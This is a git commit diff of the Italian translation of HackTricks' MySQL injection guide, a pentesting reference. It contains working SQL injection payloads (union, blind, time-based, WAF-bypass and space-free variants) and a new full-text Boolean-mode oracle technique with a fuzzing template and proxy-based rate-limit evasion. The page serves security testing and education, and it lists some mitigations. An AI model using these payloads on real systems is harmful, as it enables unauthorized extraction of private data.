mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['', 'src/pentesting-web/sql-injection/mysql-injection/README
This commit is contained in:
		
							parent
							
								
									b868f3b307
								
							
						
					
					
						commit
						d59e1f0330
					
				| @ -44,15 +44,15 @@ SELECT group_concat(if(strcmp(table_schema,database()),table_name,null)) | ||||
| SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END) | ||||
| strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep() | ||||
| ``` | ||||
| ## Tutte le iniezioni | ||||
| ## Tutte le injection | ||||
| ```sql | ||||
| SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/" | ||||
| ``` | ||||
| from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/) | ||||
| da [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/) | ||||
| 
 | ||||
| ## Flusso | ||||
| ## Flow | ||||
| 
 | ||||
| Ricorda che nelle versioni "moderne" di **MySQL** puoi sostituire "_**information_schema.tables**_" con "_**mysql.innodb_table_stats**_**"** (Questo potrebbe essere utile per bypassare i WAF). | ||||
| Ricorda che in "moderne" versioni di **MySQL** puoi sostituire "_**information_schema.tables**_" per "_**mysql.innodb_table_stats**_**"** (Questo potrebbe essere utile per bypass WAFs). | ||||
| ```sql | ||||
| SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables | ||||
| SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table | ||||
| @ -64,22 +64,22 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges | ||||
| - `group_concat()` | ||||
| - `Limit X,1` | ||||
| 
 | ||||
| ### **Cieco uno per uno** | ||||
| ### **Blind one by one** | ||||
| 
 | ||||
| - `substr(version(),X,1)='r'` o `substring(version(),X,1)=0x70` o `ascii(substr(version(),X,1))=112` | ||||
| - `substr(version(),X,1)='r'` or `substring(version(),X,1)=0x70` or `ascii(substr(version(),X,1))=112` | ||||
| - `mid(version(),X,1)='5'` | ||||
| 
 | ||||
| ### **Cieco aggiungendo** | ||||
| ### **Blind adding** | ||||
| 
 | ||||
| - `LPAD(version(),1...lunghezza(version()),'1')='asd'...` | ||||
| - `RPAD(version(),1...lunghezza(version()),'1')='asd'...` | ||||
| - `SELECT RIGHT(version(),1...lunghezza(version()))='asd'...` | ||||
| - `SELECT LEFT(version(),1...lunghezza(version()))='asd'...` | ||||
| - `LPAD(version(),1...lenght(version()),'1')='asd'...` | ||||
| - `RPAD(version(),1...lenght(version()),'1')='asd'...` | ||||
| - `SELECT RIGHT(version(),1...lenght(version()))='asd'...` | ||||
| - `SELECT LEFT(version(),1...lenght(version()))='asd'...` | ||||
| - `SELECT INSTR('foobarbar', 'fo...')=1` | ||||
| 
 | ||||
| ## Rileva il numero di colonne | ||||
| ## Rilevare il numero di colonne | ||||
| 
 | ||||
| Utilizzando un semplice ORDER | ||||
| Usando un semplice ORDER | ||||
| ``` | ||||
| order by 1 | ||||
| order by 2 | ||||
| @ -92,7 +92,7 @@ UniOn SeLect 1,2 | ||||
| UniOn SeLect 1,2,3 | ||||
| ... | ||||
| ``` | ||||
| ## MySQL Basato su Union | ||||
| ## MySQL Union Based | ||||
| ```sql | ||||
| UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata | ||||
| UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=... | ||||
| @ -101,66 +101,66 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... | ||||
| ``` | ||||
| ## SSRF | ||||
| 
 | ||||
| **Impara qui diverse opzioni per** [**abuse a Mysql injection per ottenere un SSRF**](mysql-ssrf.md)**.** | ||||
| **Scopri qui diverse opzioni per** [**abuse a Mysql injection to obtain a SSRF**](mysql-ssrf.md)**.** | ||||
| 
 | ||||
| ## WAF bypass tricks | ||||
| 
 | ||||
| ### Esecuzione di query tramite Prepared Statements | ||||
| 
 | ||||
| Quando le query impilate sono consentite, potrebbe essere possibile bypassare i WAF assegnando a una variabile la rappresentazione esadecimale della query che si desidera eseguire (utilizzando SET), e poi utilizzare le istruzioni MySQL PREPARE ed EXECUTE per eseguire infine la query. Qualcosa del genere: | ||||
| Quando stacked queries sono consentite, potrebbe essere possibile bypassare i WAF assegnando a una variabile la rappresentazione esadecimale della query che si vuole eseguire (usando SET), e poi usare le istruzioni MySQL PREPARE ed EXECUTE per eseguire infine la query. Qualcosa di simile: | ||||
| ``` | ||||
| 0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; # | ||||
| ``` | ||||
| Per ulteriori informazioni, si prega di fare riferimento a [questo post del blog](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce). | ||||
| Per maggiori informazioni consulta [questo post del blog](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce). | ||||
| 
 | ||||
| ### Alternative a information_schema | ||||
| ### Alternative a Information_schema | ||||
| 
 | ||||
| Ricorda che nelle versioni "moderne" di **MySQL** puoi sostituire _**information_schema.tables**_ con _**mysql.innodb_table_stats**_ o con _**sys.x$schema_flattened_keys**_ o con **sys.schema_table_statistics** | ||||
| 
 | ||||
| ### MySQLinjection senza VIRGOLA | ||||
| ### MySQLinjection senza virgole | ||||
| 
 | ||||
| Seleziona 2 colonne senza utilizzare alcuna virgola ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)): | ||||
| Seleziona 2 colonne senza usare alcuna virgola ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)): | ||||
| ``` | ||||
| -1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1# | ||||
| ``` | ||||
| ### Recupero dei valori senza il nome della colonna | ||||
| ### Recuperare i valori senza il nome della colonna | ||||
| 
 | ||||
| Se a un certo punto conosci il nome della tabella ma non conosci il nome delle colonne all'interno della tabella, puoi provare a scoprire quanti sono le colonne eseguendo qualcosa come: | ||||
| Se conosci il nome della tabella ma non i nomi delle colonne al suo interno, puoi provare a scoprire quante colonne ci sono eseguendo qualcosa del tipo: | ||||
| ```bash | ||||
| # When a True is returned, you have found the number of columns | ||||
| select (select "", "") = (SELECT * from demo limit 1);     # 2columns | ||||
| select (select "", "", "") < (SELECT * from demo limit 1); # 3columns | ||||
| ``` | ||||
| Supponendo che ci siano 2 colonne (la prima è l'ID) e l'altra è il flag, puoi provare a forzare il contenuto del flag provando carattere per carattere: | ||||
| Supponendo che ci siano 2 colonne (la prima è l'ID) e l'altra la flag, puoi provare a bruteforce il contenuto della flag provando carattere per carattere: | ||||
| ```bash | ||||
| # When True, you found the correct char and can start ruteforcing the next position | ||||
| select (select 1, 'flaf') = (SELECT * from demo limit 1); | ||||
| ``` | ||||
| More info in [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952) | ||||
| 
 | ||||
| ### Injection senza SPAZI (`/**/` comment trick) | ||||
| ### Injection without SPACES (`/**/` comment trick) | ||||
| 
 | ||||
| Alcune applicazioni sanitizzano o analizzano l'input dell'utente con funzioni come `sscanf("%128s", buf)` che **si fermano al primo carattere di spazio**.  | ||||
| Poiché MySQL tratta la sequenza `/**/` sia come un commento *che* come uno spazio bianco, può essere utilizzata per rimuovere completamente gli spazi normali dal payload mantenendo la query sintatticamente valida. | ||||
| Alcune applicazioni sanitizzano o analizzano l'input dell'utente con funzioni come `sscanf("%128s", buf)` che **si fermano al primo carattere di spazio**. | ||||
| Poiché MySQL tratta la sequenza `/**/` come commento *e* come spazio bianco, può essere usata per rimuovere completamente gli spazi normali dal payload mantenendo la query sintatticamente valida. | ||||
| 
 | ||||
| Esempio di bypass dell'iniezione cieca basata sul tempo che elude il filtro degli spazi: | ||||
| Esempio time-based blind injection bypassing the space filter: | ||||
| ```http | ||||
| GET /api/fabric/device/status HTTP/1.1 | ||||
| Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-' | ||||
| ``` | ||||
| Quale il database riceve come: | ||||
| Che il database riceve come: | ||||
| ```sql | ||||
| ' OR SLEEP(5)-- -' | ||||
| ``` | ||||
| Questo è particolarmente utile quando: | ||||
| 
 | ||||
| * Il buffer controllabile è limitato in dimensione (ad es. `%128s`) e gli spazi terminerebbero prematuramente l'input. | ||||
| * Iniettando attraverso intestazioni HTTP o altri campi dove gli spazi normali vengono rimossi o utilizzati come separatori. | ||||
| * Combinato con le primitive `INTO OUTFILE` per ottenere un RCE completo pre-autenticazione (vedi la sezione MySQL File RCE). | ||||
| * Il buffer controllabile è limitato nella dimensione (es. `%128s`) e gli spazi terminerebbero prematuramente l'input. | ||||
| * Iniettando tramite HTTP headers o altri campi in cui gli spazi normali vengono rimossi o usati come separatori. | ||||
| * Combinato con primitive `INTO OUTFILE` per ottenere un RCE completo pre-auth (vedi la sezione MySQL File RCE). | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ### Storia di MySQL | ||||
| ### MySQL history | ||||
| 
 | ||||
| Puoi vedere altre esecuzioni all'interno di MySQL leggendo la tabella: **sys.x$statement_analysis** | ||||
| 
 | ||||
| @ -170,7 +170,52 @@ mysql> select @@innodb_version; | ||||
| mysql> select @@version; | ||||
| mysql> select version(); | ||||
| ``` | ||||
| ## Altri guide all'iniezione MYSQL | ||||
| ## MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR) | ||||
| 
 | ||||
| Questa non è una classica SQL injection. Quando gli sviluppatori passano input utente in `MATCH(col) AGAINST('...' IN BOOLEAN MODE)`, MySQL esegue un insieme ricco di operatori di ricerca booleana all'interno della stringa tra virgolette. Molte regole WAF/SAST si concentrano solo sulla rottura delle virgolette e non considerano questa superficie. | ||||
| 
 | ||||
| Key points: | ||||
| - Gli operatori vengono valutati all'interno delle virgolette: `+` (deve includere), `-` (non deve includere), `*` (trailing wildcard), `"..."` (frase esatta), `()` (raggruppamento), `<`/`>`/`~` (pesi). Consulta la documentazione MySQL. | ||||
| - Questo permette test di presenza/assenza e di prefisso senza uscire dalla stringa letterale, e.g. `AGAINST('+admin*' IN BOOLEAN MODE)` per verificare qualsiasi termine che inizi con `admin`. | ||||
| - Utile per costruire oracoli come “esiste qualche riga che contiene un termine con prefisso X?” e per enumerare stringhe nascoste tramite espansione per prefisso. | ||||
| 
 | ||||
| Example query built by the backend: | ||||
| ```sql | ||||
| SELECT tid, firstpost | ||||
| FROM threads | ||||
| WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE); | ||||
| ``` | ||||
| Se l'applicazione restituisce risposte diverse a seconda che il result set sia vuoto (es. reindirizzamento vs. messaggio di errore), questo comportamento diventa un Boolean oracle che può essere usato per enumerare dati privati come titoli nascosti/eliminati. | ||||
| 
 | ||||
| Sanitizer bypass patterns (generic): | ||||
| - Boundary-trim preserving wildcard: se il backend rimuove 1–2 caratteri finali per parola tramite una regex come `(\b.{1,2})(\s)|(\b.{1,2}$)`, invia `prefix*ZZ`. Il cleaner rimuove i `ZZ` ma lascia il `*`, quindi `prefix*` sopravvive. | ||||
| - Early-break stripping: se il codice rimuove gli operatori parola per parola ma smette di processare quando trova un qualsiasi token con lunghezza ≥ min length, invia due token: il primo è un token di scarto che soddisfa la soglia di lunghezza, il secondo contiene l'operator payload. Per esempio: `&&&&& +jack*ZZ` → dopo la pulizia: `+&&&&& +jack*`. | ||||
| 
 | ||||
| Payload template (URL-encoded): | ||||
| ``` | ||||
| keywords=%26%26%26%26%26+%2B{FUZZ}*xD | ||||
| ``` | ||||
| - `%26` è `&`, `%2B` è `+`. Il suffisso `xD` (o qualsiasi due lettere) viene rimosso dal cleaner, preservando `{FUZZ}*`. | ||||
| - Considera un redirect come “match” e una pagina di errore come “no match”. Non seguire automaticamente i redirect per mantenere l'oracolo osservabile. | ||||
| 
 | ||||
| Flusso di enumerazione: | ||||
| 1) Inizia con `{FUZZ} = a…z,0…9` per trovare corrispondenze della prima lettera tramite `+a*`, `+b*`, … | ||||
| 2) Per ogni prefisso positivo, dirama: `a* → aa* / ab* / …`. Ripeti per recuperare l'intera stringa. | ||||
| 3) Distribuisci le richieste (proxies, multiple accounts) se l'app impone flood control. | ||||
| 
 | ||||
| Perché i titoli spesso leak mentre i contenuti no: | ||||
| - Alcune app applicano i controlli di visibilità solo dopo un MATCH preliminare su titles/subjects. Se il control-flow dipende dall'esito “any results?” prima del filtraggio, si verificano existence leaks. | ||||
| 
 | ||||
| Mitigazioni: | ||||
| - Se non ti serve la logica Boolean, usa `IN NATURAL LANGUAGE MODE` o tratta l'input utente come un literal (escape/quote disabilita gli operatori in altre modalità). | ||||
| - Se la modalità Boolean è richiesta, rimuovi o neutralizza tutti gli operatori Boolean (`+ - * " ( ) < > ~`) per ogni token (no early breaks) dopo la tokenizzazione. | ||||
| - Applica filtri di visibilità/autorizzazione prima del MATCH, oppure unifica le risposte (timing/status costanti) quando il result set è empty vs. non-empty. | ||||
| - Rivedi funzionalità analoghe in altri DBMS: PostgreSQL `to_tsquery`/`websearch_to_tsquery`, SQL Server/Oracle/Db2 `CONTAINS` analizzano anche operatori all'interno di argomenti tra virgolette. | ||||
| 
 | ||||
| Note: | ||||
| - Prepared statements non proteggono dall'abuso semantico di `REGEXP` o operatori di ricerca. Un input come `.*` rimane una regex permissiva anche dentro un quoted `REGEXP '.*'`. Usa allow-lists o guard espliciti. | ||||
| 
 | ||||
| ## Altre MYSQL injection guides | ||||
| 
 | ||||
| - [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) | ||||
| 
 | ||||
| @ -178,6 +223,10 @@ mysql> select version(); | ||||
| 
 | ||||
| - [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) | ||||
| - [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) | ||||
| - [MySQL Full-Text Search – Boolean mode](https://dev.mysql.com/doc/refman/8.4/en/fulltext-boolean.html) | ||||
| - [MySQL Full-Text Search – Overview](https://dev.mysql.com/doc/refman/8.4/en/fulltext-search.html) | ||||
| - [MySQL REGEXP documentation](https://dev.mysql.com/doc/refman/8.4/en/regexp.html) | ||||
| - [ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)](https://exploit.az/posts/wor/) | ||||
| 
 | ||||
| 
 | ||||
| {{#include ../../../banners/hacktricks-training.md}} | ||||
|  | ||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user